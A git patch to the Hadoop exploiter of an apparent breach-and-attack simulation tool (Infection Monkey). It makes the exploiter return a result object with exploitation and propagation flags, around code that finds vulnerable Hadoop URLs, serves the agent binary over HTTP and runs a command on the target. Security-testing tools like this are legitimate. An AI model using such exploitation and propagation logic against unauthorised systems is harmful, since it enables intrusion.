From 57eca553a75a4b1954c32e46aeaadbe252cd6b99 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 16:33:00 +0530 Subject: [PATCH] Agent: Send ExploiterResultData from Hadoop exploiter --- monkey/infection_monkey/exploit/hadoop.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index b27ff8cd0..cb44af060 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -41,18 +41,20 @@ class HadoopExploiter(WebRCE): urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: - return False + return self.exploit_result paths = self.get_monkey_paths() if not paths: - return False + return self.exploit_result http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) command = self._build_command(paths["dest_path"], http_path) if not self.exploit(self.vulnerable_urls[0], command): - return False + return self.exploit_result http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() self.add_executed_cmd(command) - return True + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True + return self.exploit_result def exploit(self, url, command): # Get the newly created application id